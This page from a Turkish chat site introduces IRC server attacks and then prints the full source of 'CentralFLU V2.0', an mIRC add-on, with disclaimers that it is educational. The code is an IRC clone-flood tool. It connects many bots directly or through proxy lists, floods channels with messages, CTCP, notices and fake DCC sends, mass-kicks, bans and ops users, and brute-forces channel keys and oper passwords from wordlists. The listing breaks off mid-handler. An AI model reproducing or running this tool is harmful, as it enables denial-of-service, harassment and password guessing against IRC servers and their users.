İrc Server Saldırıları Ve Programları Sohbet, Chat, Sohbet Siteleri
Şifreniz yoksa boş bırakabilirsiniz
mirc indir

İrc Server Saldırıları Ve Programları

Anasayfa > İrc Komutları > İrc Server Saldırıları Ve Programları
Şehirler Sohbet

İrc Saldırısı

Günümüz irc veri tabanlı serverleri pc donanım yazılım ve yeni teknolojik cekirdeklerin cıkması pc hızının artmasıyla artık server saldırıları durdurulamaz konumda degildir ticari anlamda bu  işleri yapan şirketler müşterisi oldugu serverleri bu tarz saldırılardan korumak icin en iyi makinaları alarak kendilerini teknolojiye ayak uydurarak daha kaliteli hizmet sunmaya calışmak tadırlar bu acıdan bakınca artık saldırı yapanlar daha farklı saldırı yöntemleri geliştirmeye calışmışlar ve çalışmak tadırlar.

İrc Saldırı Programı

Burda size basit bir saldırı programı verecegiz ama bunu konuyu anlayın daha iyi kavrayın yada hayatlarında yeni irc server sohbetlere katılan ve saldırı yaşamış ama nasıl yapıldıgını bilmeyen arkadaşlarımız icin basit bir örnek olarak vermeyi uygun gördük cünkü günümüzde artır irc saldırıları, proxy saldırıları  ve daha bir cok botnet, DDos saldırları durdurula biliyor artık bunlar nerndeyse demode olmuş yada olacak konuma gelmişlerdir bile ama bilinmeliki karşı atak olarak genc arkadaşlar daha iyi nasıl  ne yapabiliriz çalışmasıyla yeni yeni saldırı yöntemleri geliştirmeye calışmaktadırlar..

Basit bir saldırı add- on  bu program mircinize ekleyerek kullanılır tam net kullanım olmasın diye program degerleri degiştirilmiştir ama size nasıl bir calışma prensibi oldugu hakkında bilgi verecektir.. Herşeyi devletten beklemeyin arkadaşlar demiştim az ugraşmak cabalamak yeni şeylerin ögrenilmesinde  önemlidir.

;IRcap8 bc4e5912f2904fa634761cddab4b9268
;IRcap bc4e5912f2904fa634761cddab4b9268
;IRcap8 bc4e5912f2904fa634761cddab4b9268
;IRcap8 3ca03702c337c250b6bd5ca4c85cefcb
;///////////////////////////////////////////////////////////////////
;\\ <–<–< CentralFLU V2.0 BetA By Şehirler Sohbet >–>–> \\
;// este addons esta editado con fines eductivos,ya que se //
;\\ le podria dar diferentes utilidades como: \\
;// -crear protecciones en el script ante un ataque masivo…. //
;\\ -perfeccionar su propio servidor irc ante entradas proxys..\\
;// El Autor no se hace responsable del uso que le den. //
;\\ Si intentan modificarlo es probable que no funcione. \\
;// Si hubiera algun error o quisieran aportar alguna idea //
;\\ haganmelo saber en \\
;///////////////////////////////////////////////////////////////////

menu status,query,menubar,channel {

Central Flu v2: central

}
alias mdx { return $dll($scriptdirmdx.dll,$1,$2- ) }

alias central {
if ($dialog(central)) { dialog -x central central }
dialog -med central central
}
dialog Central {
title “Central Flu v2 ©.”
size -1 -1 262 159
option dbu
tab “Clonador”, 13, 2 1 256 154
text “Servidor:”, 22, 10 22 22 8, tab 13
text “Puerto:”, 23, 100 22 18 8, tab 13
edit “”, 20, 32 21 65 10, tab 13 autohs
edit “”, 21, 119 21 26 10, tab 13 autohs
button “Mensaje”, 24, 9 67 37 12, tab 13 flat
button “Ctcp”, 25, 9 84 37 12, tab 13 flat
button “Noticias”, 26, 9 101 37 12, tab 13 flat
button “DCC Send”, 27, 129 136 37 12, tab 13 flat
button “Mortal FLU.”, 28, 9 119 37 12, tab 13 flat
button “Kick”, 29, 129 67 37 12, tab 13 flat
button “Banned”, 30, 129 84 37 12, tab 13 flat
button “Op`s”, 31, 129 101 37 12, tab 13 flat
button “Topic”, 32, 129 118 37 12, tab 13 flat
button “Quit”, 33, 9 136 37 12, tab 13 flat
edit “#canal”, 34, 48 54 46 10, tab 13 autohs
text “Canal ó Nick:”, 35, 10 56 34 8, tab 13
edit “”, 36, 48 69 55 10, tab 13 autohs
edit “”, 37, 48 86 55 10, tab 13 autohs
edit “”, 38, 48 103 55 10, tab 13 autohs
edit “”, 39, 48 120 55 10, tab 13 autohs
edit “”, 40, 48 137 78 10, tab 13 autohs
edit “”, 41, 168 120 85 10, tab 13 autohs
edit “jurjurjur.mrc”, 42, 168 137 85 10, tab 13 autohs
edit “”, 44, 189 69 64 10, tab 13 autohs
button “Entra”, 45, 97 54 32 9, tab 13 flat
button “Hop”, 46, 163 54 32 9, tab 13 flat
button “Sal”, 47, 130 54 32 9, tab 13 flat
button “Base Canal:”, 48, 196 54 32 9, tab 13 flat
edit “#”, 49, 229 54 24 10, tab 13 autohs
edit “Nick!Ident@Host”, 51, 189 85 64 10, tab 13 autohs
edit “Nick”, 53, 189 102 64 10, tab 13 autohs
text “Base Ident:”, 55, 194 20 28 8, tab 13
text “Nº”, 56, 105 121 9 8, tab 13
text “Nº”, 112, 105 104 9 8, tab 13
text “Nº”, 113, 105 87 9 8, tab 13
text “Nº”, 114, 105 70 9 8, tab 13
edit “1”, 57, 114 120 12 10, tab 13
edit “1”, 115, 114 103 12 10, tab 13
edit “1”, 116, 114 86 12 10, tab 13
edit “1”, 117, 114 69 12 10, tab 13
edit “”, 58, 224 19 29 10, tab 13 autohs
edit “”, 59, 224 28 29 10, tab 13 autohs
button “Nick Aleat.”, 60, 225 39 28 9, tab 13 flat
button “Base Nick:”, 54, 193 28 29 9, tab 13 flat
edit “Nick”, 43, 168 69 18 10, tab 13 autohs
combo 50, 169 85 19 50, tab 13 size autohs drop autohs
combo 52, 169 102 19 50, tab 13 size autohs drop autohs
button “Opciones”, 61, 151 20 37 12, tab 13 flat
check “HashC.”, 63, 193 39 28 10, tab 13 flat disable
box “”, 62, 5 48 251 104, tab 13
box “”, 64, 5 32 39 18, tab 13
text “Clones Act.”, 65, 6 41 38 8, tab 13 center
check “Cargar”, 66, 51 38 37 10, tab 13 push flat
box “”, 68, 191 15 65 35, tab 13
box “”, 69, 5 15 143 21, tab 13
box “”, 70, 191 35 32 15, tab 13
edit “Via Proxy”, 67, 154 38 31 10, tab 13 read
box “”, 84, 148 15 43 35, tab 13
box “”, 85, 5 32 143 18, tab 13
tab “Proxies”, 14
text “Clones Por Su IP:”, 94, 162 29 42 8, tab 14
text “Clones Via Proxy:”, 95, 162 37 42 8, tab 14
box “Clones Activos”, 89, 159 21 62 25, tab 14
text “”, 97, 204 29 16 8, tab 14
text “”, 98, 204 37 15 8, tab 14
edit “”, 71, 6 50 248 84, tab 14 read multi hsbar vsbar
button “Netstats”, 73, 79 34 23 8, tab 14 flat
button “Borrar”, 74, 106 34 23 8, tab 14 flat
box “Conexiones”, 75, 76 21 56 25, tab 14
radio “Lista Proxy.”, 76, 18 27 40 10, tab 14
radio “Toda Info.”, 77, 18 35 35 10, tab 14
box “Propiedades”, 78, 14 21 48 25, tab 14
box “”, 79, 4 15 252 123, tab 14
button “Libera sock´s”, 83, 109 38 36 10, tab 13 flat
button “Guardar Lista”, 86, 103 140 40 12, tab 14 flat
tab “Seleccion”, 16
list 110, 9 22 57 117, tab 16 size extsel vsbar
button “Actualizar”, 118, 15 140 37 9, tab 16 flat
button “Mensajes”, 111, 70 33 37 12, tab 16 flat
edit “”, 121, 110 34 140 10, tab 16 autohs
button “Ctcp”, 122, 70 47 37 12, tab 16 flat
edit “”, 123, 110 48 140 10, tab 16 autohs
button “Noticias”, 124, 70 61 37 12, tab 16 flat
edit “#”, 125, 109 21 40 10, tab 16 autohs
text “Canal o Nick:”, 126, 73 22 32 8, tab 16
button “Entra”, 127, 151 21 25 9, tab 16 flat
button “Salir”, 128, 178 21 25 9, tab 16 flat
button “Hop”, 129, 205 21 25 9, tab 16 flat
button “DCC Send”, 130, 70 75 37 12, tab 16 flat
edit “”, 131, 110 62 140 10, tab 16 autohs
edit “”, 132, 110 76 140 10, tab 16 autohs
button “Quit”, 133, 70 89 37 12, tab 16 flat
edit “”, 134, 110 90 140 10, tab 16 autohs
text “”, 135, 69 140 14 8, tab 16 right
text “Nicks Selecionados”, 136, 85 140 50 8, tab 16
button “Msg Aleatorio”, 138, 70 103 37 12, tab 16 flat
edit “”, 139, 110 104 140 10, tab 16 autohs
edit “”, 141, 110 118 140 10, tab 16 autohs
button “Comandos”, 140, 70 117 37 12, tab 16 flat
box “”, 142, 5 15 250 136, tab 16
tab “DivierTT”, 18
text “Log a Leer:”, 143, 74 26 33 8, tab 18
edit “”, 144, 143 25 41 10, tab 18 read
box “Reproductor De Log`s”, 145, 5 18 250 32, tab 18
edit “”, 146, 25 25 40 10, tab 18 autohs
text “Canal:”, 147, 9 26 16 8, tab 18
text “Retardo:”, 148, 110 39 61 8, tab 18
edit “2”, 149, 135 38 13 10, tab 18
check “Reproducir”, 150, 209 24 43 23, tab 18 push flat
check “HashCode”, 151, 9 38 42 10, tab 18 disable
button “Log”, 152, 112 25 31 9, tab 18 flat
text “”, 153, 185 26 23 8, tab 18
box “BuscaPass +k”, 154, 5 50 250 52, tab 18
edit “”, 155, 25 60 38 10, tab 18 autohs
text “Canal:”, 156, 9 61 15 8, tab 18
text “Lista PassWord:”, 157, 70 61 39 8, tab 18
edit “”, 158, 144 60 36 10, tab 18 read
text “”, 159, 180 62 36 10, tab 18
text “Retardo:”, 160, 220 61 20 8, tab 18
edit “5”, 161, 243 60 10 10, tab 18
edit “”, 162, 11 82 120 11, tab 18 read
text “”, 164, 140 83 34 9, tab 18
text “”, 183, 183 37 24 9, tab 18
check “Buscar”, 180, 209 73 43 27, tab 18 push flat
button “PassWords”, 182, 112 60 31 9, tab 18 flat
tab “Info”, 15
edit “”, 87, 6 29 248 105, tab 15 read multi hsbar vsbar
box “Info Recibida”, 88, 4 20 252 118, tab 15
button “Borrar”, 91, 103 140 40 12, tab 15 flat
check “Leer Info Recibida”, 92, 18 141 65 10, tab 15 flat
text “CentralFLU By kAnIhO”, 93, 155 140 95 11, tab 15
text “CentralFLU By kAnIhO”, 96, 155 140 95 11, tab 14
tab “Creditos”, 19
text “CentralFLU By kAnIho”, 99, 8 24 244 28, tab 19 center
box “”, 100, 5 19 250 132, tab 19
text “CentralFlu@Gmail.com”, 102, 78 102 148 19, tab 19 center
text “E-Mail:”, 108, 17 97 60 19, tab 19
box “”, 101, 8 82 244 56, tab 19
text “No Me Hago Responsable De Su Uso,ya que esta encaminado a fines educativos.Si hubiera algun bug o alguien tuviera alguna duda , haganmelo saber en:”, 103, 9 46 243 28, tab 19 center
button “Enviar Correo!!”, 109, 111 125 40 10, tab 19 flat
edit “Oper”, 184, 25 110 38 10, tab 18 autohs
edit “”, 185, 11 131 120 11, tab 18 read
edit “5”, 186, 243 108 10 10, tab 18
edit “”, 187, 144 110 36 10, tab 18 read
check “Buscar”, 188, 209 120 43 27, tab 18 push flat
text “Nick:”, 190, 9 112 15 8, tab 18
text “Lista PasWords:”, 191, 70 112 39 8, tab 18
text “Retardo:”, 192, 220 109 20 8, tab 18
button “PassWords”, 193, 112 110 31 9, tab 18 flat
box “Opers`s”, 194, 5 102 250 52, tab 18
text “”, 195, 180 112 19 8, tab 18
text “”, 196, 140 132 34 9, tab 18
}
alias clonip {
sockopen sclonN $+ $rand(b,z) $+ $rand(b,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $did(central,20) $did(central,21)
}
on *:sockopen:sclonN*: {
if ($sockerr > 0) { return }
set %nickip $did(central,59) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
if ($sock($sockname,1) == $null) goto pel
sockwrite -tn $sockname NICK %nickip nopass
if ($did(central,58) == $null) { sockwrite -tn $sockname USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt) }
if ($did(central,58) != $null) { sockwrite -tn $sockname USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt) }
sockmark $sockname %nickip
:pel
}
alias clonproxy {
:caracter32
set %sclonproxy $read %Cproxylist
set %sas $rand(b,z) $+ $rand(b,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
if ($chr(58) isin %sclonproxy) { sockopen sclonP $+ %sas $gettok(%sclonproxy,1,58) $gettok(%sclonproxy,2,58) }
else { goto caracter32 }
}
alias clonproxy3 {
.timerc 0 0 clonproxy4
}
alias clonproxy4 {
if ($dialog(central) == $null) { halt }
set %sas $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
inc %CenM20 [ $+ [ $2 ] ]
set %CenM21 $read -l [ $+ [ %CenM20 [ $+ [ $2 ] ] ] ] %Cproxylist
if (%CenM21 == $null) { .timerc* off | dialog -t central CentralFLU By kAnIhO V2-BetA © Lista: $gettok(%Cproxylist,-1,92) $lines(%Cproxylist) | did -a central 66 Cargar | return }
sockopen sclonP $+ %sas $gettok(%CenM21,1,58) $gettok(%CenM21,2,58)
dialog -t central ××F××L××U×× Extrayendo proxys de $gettok(%Cproxylist,-1,92) … %CenM21

}
on *:sockopen:sclonP*:{
if ($sockerr > 0) { return }
if ($dialog(central) == $null) { halt }
set %nickpro $did(central,59) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
if ($sock($sockname).port == 1080) { bset &byte 1 4 1 $chr($int($calc($gettok(%serveryport,2,32) / 256))) $gettok(%serveryport,2,32) $replace($did(central,20),$chr(46),$chr(32)) 0 | sockwrite $sockname &byte }
else { sockwrite -tn $sockname CONNECT $did(central,20) $+ : $+ $did(central,21) HTTP/1.0 $+ $crlf $+ $crlf }
if (%cenlistaN) {
if (%jodenickss > $lines(%clistanicks).lines) { set %jodenickss 1 }
inc %jodenickss [ $+ [ $2 ] ]
set %jodenickss3 $read -l [ $+ [ %jodenickss [ $+ [ $2 ] ] ] ] %Clistanicks
sockwrite -tn $sockname NICK %jodenickss3 nopass
sockwrite -tn $sockname CADCON $did(central,36).text $+ $crlf $+ USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt)
sockmark $sockname %jodenickss3
halt
}
sockwrite -tn $sockname NICK %nickpro nopass
if ($did(central,58) == $null) { sockwrite -tn $sockname CADCON $did(central,36).text $+ $crlf $+ USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt) }
if ($did(central,58) != $null) { sockwrite -tn $sockname CADCON $did(central,36).text $+ $crlf $+ USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt) }
sockmark $sockname %nickpro
}
on *:sockread:sclon*:{
if ($dialog(central) == $null) { halt }
sockread %leepro
if ( $gettok(%leepro,1,32) == PING) { sockwrite -tn $sockname PONG $gettok(%leepro,2,32) | halt }
if ($pos(%leepro,Welcome to) || $pos(%leepro,Bienvenido a)) {
if (sclonP isin $sockname) { sockwrite -tn $sockname Silence +*!*@* | sockwrite -tn $sockname Mode $gettok(%leepro,3,32) +d } { sockrename $sockname sclonXP $+ $sock($sockname).mark }
if (sclonN isin $sockname) { sockwrite -tn $sockname Silence +*!*@* | sockwrite -tn $sockname Mode $gettok(%leepro,3,32) +d } { sockrename $sockname sclonXN $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $calc($sock(sclonXP*,0) + $sock(sclonXN*,0)) }
did -a central 110 $remove($sockname,sclonxp)
}
if ($did(central,180).state == 1 ) {
set %cpass $gettok(%leepro,2,32)
if ( %cpass == JOIN ) { .timerbuscarr off | did -r central 162 | did -a central 162 PassWord De $did(central,155) : —–>> $gettok($sock($sockname).mark,2,32) <<—– | did -u central 180 | did -a central 180 Buscar | set %ordenpass 1 }
}
if ($did(central,188).state == 1 ) {
set %cpass $gettok(%leepro,2,32)
if ( %cpass == MODE ) { .timerbuscarr1 off | did -r central 185 | did -a central 185 PassWord De $did(central,184) : —–>> $gettok($sock($sockname).mark,2,32) <<—– | did -u central 188 | did -a central 188 Buscar | set %ordenpass1 1 }
}
set %nickpro1 $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
set %cambionickpro $gettok(%leepro,2,32)
if ( %cambionickpro == 433) {
if (%cenlistaN) {
set %jodenickss $rand(1, $+ $lines(%clistanicks))
set %jodenickss3 $read -l [ $+ [ %jodenickss [ $+ [ $2 ] ] ] ] %Clistanicks
sockwrite -tn $sockname NICK %jodenickss3 nopass
sockwrite -tn $sockname USER CADCON $did(central,36).text $+ $crlf $+ USER ircap $+ $webn($read(nicks.txt)) xxxx xxxx : $+ $read(nicks.txt)
sockmark $sockname %jodenickss3
unset %cambionickpro
halt
}
else { sockwrite -tn $sockname NICK %nickpro1 nopass
if ( $sock(sclonxp $+ %nickpro1).status != active) { sockrename $sockname sclonxp $+ %nickpro1 }
sockmark $sockname %nickpro1
unset %cambionickpro }
}
if ($did(central,92).state == 1 ) did -a central 87 %leepro $crlf
if (Closing isin $gettok(%leepro,2,32)) {
set %nickclosink 1
while ( $gettok($gettok(%leepro,4,32),1,91) != $did(central,110,%nickclosink).text ) {
if ( $did(central,110,%nickclosink).text == $null) halt
inc %nickclosink
}
if ( $did(central,110,%nickclosink).text == $null) goto yeahh2005
did -d central 110 %nickclosink
:yeahh2005
unset %nickclosink
halt
}
}
on *:dialog:central:sclick:*:{
if ($did == 66) {
if ( $did(central,67) == Su IP ) {
set %serveryport $did(central,20) $did(central,21)
if ($gettok(%serveryport,2,32) == $null) { Noclon ¡Faltan Datos Del Servidor! | return }
{ .timerentip 1 0 clonip | halt }
}
if ( $did(central,67) == Via Proxy ) {
unset %CenM20
if ($did(central,66).state == 0) { .timerc* off | dialog -t central CentralFLU By kAnIhO V2-BetA Lista: $gettok(%Cproxylist,-1,92) $lines(%Cproxylist) | did -a central 66 Cargar | halt }
set %serveryport $did(central,20) $did(central,21)
if ($gettok(%serveryport,2,32) == $null) { Noclon ¡Faltan Datos Del Servidor! | return }
if (%Cproxylist == $null) { Noclon ¡Selecciona Lista De Proxy En Opciones! | halt }
{ clonproxy3 | did -a central 66 Parar | halt }
}
}
if ($did == 45) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* JOIN : $+ $did(central,34)
}
if ($did == 47) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* PART $did(central,34) : $+ $did(central,41)
}
if ($did == 24) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,117) == 1) { sockwrite -tn sclonX* PRIVMSG $did(central,34) : $did(central,36) }
else {
.timercenmsg $did(central,117) 5 sockwrite -tn sclonX* PRIVMSG $did(central,34) : $did(central,36) | halt
}
}
if ($did == 33) {
if ($sock(sclo*) == $null) { Noclon ¡No Hay Clones! | sockclose sclo* | did -r central 110 | return }
sockwrite -tn sclon* QUIT : $did(central,40)
did -r central 110
.timerent* off
.timercen* off
.timercierrasok 1 1 sockclose sclo*
.timerborrainf 1 1 did -r central 110
}
if ($did == 25) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,116) == 1 ) sockwrite -tn sclonX* PRIVMSG $did(central,34) :1, $+ $dc3(1,4, $+ $chr(1) $+ $1- $+ 1 $+ $chr(1)) : $+ $did(central,37) $+ 
else {
.timercenctcp $did(central,116) 5 sockwrite -tn sclonX* PRIVMSG $did(central,34) : $+ $did(central,37)
}
}
if ($did == 26) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,115) == 1) sockwrite -tn sclonX* NOTICE $did(central,34) : $did(central,38)
else {
.timercennotice $did(central,115) 5 sockwrite -tn sclonX* NOTICE $did(central,34) : $did(central,38)
}
}
if ($did == 32) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
alias looptopic {
set %looptopic 1
while ($sock(sclonX*,%looptopic) != $null) {
sockwrite -nt $sock(sclonX*,%looptopic) TOPIC $did(central,34) : $did(central,41) $+ $chr(32) $+ %looptopic
inc %looptopic
}
unset %looptopic
}
}
if ($did == 27) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* PRIVMSG $did(central,34) :DCC SEND $replace($did(central,42), $chr(32) ,_) 3639556963 80 5353
}
if ($did == 29) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* KICK $did(central,34) $did(central,43) : $did(central,44) $+ $chr(32) $+ 15,2CentralFLU
}
if ($did == 30) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* MODE $did(central,34) $did(central,50) $did(central,51)
}
if ($did == 31) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* MODE $did(central,34) $did(central,52) $did(central,53)
}
if ($did == 28) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
else { .timercenctpflood $did(central,57).text 6 sockwrite -tn sclonX* privmsg $did(central,34).text :VERSION $did(central,39).text $+  | .timercenmgsflood $did(central,57).text 7 sockwrite -tn sclonX* privmsg $did(central,34).text : $did(central,39) $+ $did(central,39).text | .timercennotice $did(central,57).text 8 sockwrite -tn sclonX* notice $did(central,34) : $did(central,39) | .timercencambianick $did(central,57).text 9 sockwrite -tn sclonX* nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(1,9) }
}
if ($did == 46) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -tn sclonX* PART $did(central,34) : $+ $did(central,41) | sockwrite -tn sclonX* JOIN : $+ $did(central,34)
}
if ($did == 48) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
alias joinloop {
set %joinloop 1
while ($sock(sclonX*,%joinloop) != $null) {
set %todocanal $did(central,49) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(0,999)
alias pleosl {
sockwrite -nt $sock(sclonX*,%joinloop) join %todocanal | sockwrite -nt $sock(sclonX*,%joinloop) topic %todocanal :15,2CentralFLU xD | sockwrite -nt $sock(sclonX*,%joinloop) mode %todocanal +nt
}
inc %joinloop
}
unset %joinloop
unset %todocanal
}
}
if ($did == 54) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
alias nickloop {
set %nickloop 1
while ($sock(sclonX*,%nickloop) != $null) {
set %basenick $did(central,59) $+ %nickloop
sockwrite -nt $sock(sclonX*,%nickloop) nick %basenick nopass
sockmark $sock(sclonX*,%nickloop) %basenick
if ($sock(sclonxp $+ $sock(sclonX*,%nickloop).mark).status != active) { sockrename $sock(sclonX*,%nickloop) sclonxp $+ $sock(sclonX*,%nickloop).mark }
inc %nickloop
}
unset %nickloop
CnickR
}
}
if ($did == 60) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | return }
alias nickaleatorio {
if (%cenlistaN) {
set %nickaleatorio 1
set %jodenickss $rand(1, $+ $lines(%Clistanicks))
while ($sock(sclonX*,%nickaleatorio) != $null) {
set %jodenickss3 $read -l [ $+ [ %jodenickss [ $+ [ $2 ] ] ] ] %Clistanicks
sockwrite -tn $sock(sclonX*,%nickaleatorio) NICK %jodenickss3 nopass
sockmark $sock(sclonX*,%nickaleatorio) %jodenickss3
if ($sock(sclonxp $+ $sock(sclonX*,%nickaleatorio).mark).status != active) { sockrename $sock(sclonX*,%nickaleatorio) sclonxp $+ $sock(sclonX*,%nickaleatorio).mark }
unset %cambionickpro
inc %jodenickss
inc %nickaleatorio
}
unset %nickaleatori*
CnickR
halt
}
set %nickaleatorio 1
while ($sock(sclonX*,%nickaleatorio) != $null) {
set %nickaleatorio1 $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
sockwrite -nt $sock(sclonX*,%nickaleatorio) nick %nickaleatorio1
sockmark $sock(sclonX*,%nickaleatorio) %nickaleatorio1
if ($sock(sclonxp $+ $sock(sclonX*,%nickaleatorio).mark).status != active) { sockrename $sock(sclonX*,%nickaleatorio) sclonxp $+ $sock(sclonX*,%nickaleatorio).mark }
inc %nickaleatorio
}
unset %nickaleatori*
CnickR
}
}
if ($did == 61) {
{ opcionesCon }
}
if ($did == 83) {
if ($sock(sclonP*) == $null) { Noclon ¡No Hay Sockets Colgados! | return }
sockclose sclonP*
}
if ($did == 73) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Conexiones Establecidas! | did -r central 71 | return }
{ did -r central 71 }
if ($did(central,76).state == 1 ) { did -r central 71 | clonstat }
if ($did(central,77).state == 1 ) { did -r central 71 | clonstatinfo }
}
if ($did == 74) {
{ did -r central 71 }
}
if ($did == 86) {
clipboard $did(central,71).text
if ( $did(central,71).text == $null) { Noclon No Hay Lista Para Guardar. | halt }
set %listaproZi $sfile(CentralFLU,Seleccione el nombre del archivo a guardar.ejemp: “Lista.txt”,Guardar) {
alias camon {
if (%listaproZi == $null ) goto pls1
set %Nread 1
set %Cenlistpro $gettok(%listaprozi,1-,92)
:apaño
if ( $did(central,71,%Nread).text == $null ) goto pls1
write %Cenlistpro $did(central,71,%Nread).text
inc %Nread
goto apaño
:pls1
unset %Nread
unset %Cenlistpro
}
}
}
if ($did == 91) {
{ did -r central 87 }
}
if ($did == 109) {
run mailto:CentralFlu@gmail.com?subject=CentralFLU
}
if ($did == 111) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa2($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 122) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa3($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 124) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa4($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 130) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa5($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 133) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa6($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 138) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
sockwrite -nt $sock(sclonxp*, $+ $rand(1,$sock(sclonXP*,0))) privmsg $did(central,125) : $did(central,139)
}
if ($did == 140) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa7($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 118) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
{ CnickR }
}
if ($did == 127) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa8($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 128) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa9($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 129) {
if ($sock(sclonXP*) == $null) { Noclon ¡No Hay Clones! | return }
if ($did(central,110,0).sel == 0) { Noclon ¡No Hay Clones Seleccionados! | return }
set %cenxDD 1
while (%cenxDD <= $sock(sclonXP*,n)) {
$usa10($did(central,110,$did(central,110,%cenxDD).sel))
inc %cenxDD
}
}
if ($did == 152) {
set %ClogxD $dir=”CentralFLU (Seleccione El Log)” | did -r central 153,144 | did -a central 144 $gettok(%ClogxD,-1,92) | did -a central 153 $lines(%ClogxD) | set %ordenlog 1
}
if ($did == 150) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | did -u central 150 | halt }
if ($did(central,150).state == 0) { .timerloger* off | did -a central 150 Reproducir | halt }
did -a central 150 Parar
.timerloger 0 $did(central,149) kanilog
}
if ($did == 177) {
set %CenlistXD $dir=”CentralFLU (Seleccione Archivo o Creelo)”
did -r central 178
did -a central 178 $gettok(%CenlistXD,-1,92)
}
if ($did == 182) {
set %CpassxD $dir=”CentralFLU (Seleccione Lista Password)” | did -r central 158,159 | did -a central 158 $gettok(%CpassxD,-1,92) | did -a central 159 $lines(%CpassxD) | set %ordenpass 1
}
if ($did == 180) {
if ($sock(sclonX*) == $null) { Noclon ¡No Hay Clones! | did -u central 180 | halt }
